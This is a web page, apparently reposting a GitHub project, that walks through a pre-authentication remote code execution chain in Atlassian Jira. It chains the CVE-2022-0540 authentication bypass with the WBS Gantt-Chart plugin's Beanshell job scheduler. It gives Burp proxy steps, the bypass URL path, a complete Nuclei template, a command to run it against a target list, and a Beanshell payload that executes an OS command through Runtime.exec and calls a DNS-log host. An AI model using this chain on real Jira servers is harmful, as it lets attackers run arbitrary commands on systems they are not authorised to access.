CVE-2022-0540
As seen in author’s blog, atlassian provided a long list of affected plugins (the vast majority of which were false positives), and the author listed several actual affected plugins
![some](https://cdn-0.reconshell.com/wp-content/uploads/2022/05/2d2.png)
According to the prompted conditions, combined with the Official documentation for WBS Gantt-Chart for Jira
![ds](https://cdn-0.reconshell.com/wp-content/uploads/2022/05/ds9.png)
Essentially, it is a RCE using the Beanshell Script of the job scheduler module Task, the exploit details are as follows.
- For manual operation it’s better to use the BurpSuite’s replacement function
Proxy > Options > Match and Replace
, edit rule.
![edd](https://cdn-0.reconshell.com/wp-content/uploads/2022/05/sdse.png)
- Use burp as a proxy to access the vulnerable Jira software,open
http://IP:PORT/secure/WBSGanttManageScheduleJobAction.jspa;
then you can checkjob scheduler configuration
![jii](https://cdn-0.reconshell.com/wp-content/uploads/2022/05/jiira-1024x216.png)
Since our final Beanshell Script is executed as a timed task, you can modify the execution interval for your convenience by clicking Edit and modifying it according to the Cron format.
- create Task
![ds3](https://cdn-0.reconshell.com/wp-content/uploads/2022/05/ds12-1024x446.png)
- config Task
![dse45](https://cdn-0.reconshell.com/wp-content/uploads/2022/05/dse45-1024x517.png)
After the configuration is complete, click Update but jump to the login page, do not worry, the Task has actually been added in the background.
- Enable Task
![ew7](https://cdn-0.reconshell.com/wp-content/uploads/2022/05/ew7-1024x469.png)
The newly created Task is Disable by default, you need to change it to Enable manually and then wait for a few seconds for Script to execute.
- DNSLOG record
![ds30](https://cdn-0.reconshell.com/wp-content/uploads/2022/05/ds03.png)
at the same time, you can find the prompt that execution completion in job scheduler.
![rd68](https://cdn-0.reconshell.com/wp-content/uploads/2022/05/rd68-1024x126.png)
Preconditions
WBS Gantt-Chart for Jira <= 9.14.3.1
Verify Exploitable
id: CVE-2022-0540 info: name: Atlassian Jira Seraph - Authentication Bypass Verify Exploitable(CVE-2022-0540) author: DhiyaneshDK severity: critical description: | Jira Seraph allows a remote, unauthenticated attacker to bypass authentication by sending a specially crafted HTTP request. This affects Atlassian Jira Server and Data Center versions before 8.13.18, versions 8.14.0 and later before 8.20.6, and versions 8.21.0 and later before 8.22.0. This also affects Atlassian Jira Service Management Server and Data Center versions before 4.13.18, versions 4.14.0 and later before 4.20.6, and versions 4.21.0 and later before 4.22.0. reference: - https://blog.viettelcybersecurity.com/cve-2022-0540-authentication-bypass-in-seraph/ - https://nvd.nist.gov/vuln/detail/CVE-2022-0540 - https://confluence.atlassian.com/display/JIRA/Jira+Security+Advisory+2022-04-20 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-0540 cwe-id: CWE-287 metadata: shodan-query: http.component:"Atlassian Jira" tags: cve,cve2022,atlassian,jira,exposure,auth-bypass requests: - method: GET path: - '{{BaseURL}}/secure/WBSGanttManageScheduleJobAction.jspa;' matchers-condition: and matchers: - type: word part: body words: - 'WBS Gantt-Chart' - type: regex regex: - '<td headers="name">([.|\D]*?)</td>' dsl: [] - type: status status: - 200
Run-Demo
Download The Nuclei Template https://raw.githubusercontent.com/Pear1y/CVE-2022-0540-Preauth-RCE/main/exploit.yaml nuclei -l targets.txt -t exploit.yaml
Screenshot
![ref55](https://cdn-0.reconshell.com/wp-content/uploads/2022/05/ref55-1024x342.png)
Referer
https://blog.viettelcybersecurity.com/cve-2022-0540-authentication-bypass-in-seraph/ https://ricksoft-support.atlassian.net/wiki/spaces/WGCE0914/pages/2930802887/Global+job+scheduler+settings+-+aggregating+reflecting+time+tracking+and+calculating+progress+rate
Beanshell Script
import java.io.IOException; import java.lang.*; Runtime runtime = Runtime.getRuntime(); try { String command = "ping -nc 1 55d2721a.dns.1433.eu.org"; if (System.getProperty("os.name").toLowerCase().contains("windows")) { runtime.exec(new String[]{"cmd.exe", "/c", command}); } else { runtime.exec(new String[]{"/bin/bash", "-c", command}); } } catch (IOException e) { e.printStackTrace(); }
The Atlassian Jira is a github repository by Pear1y
Leave a Reply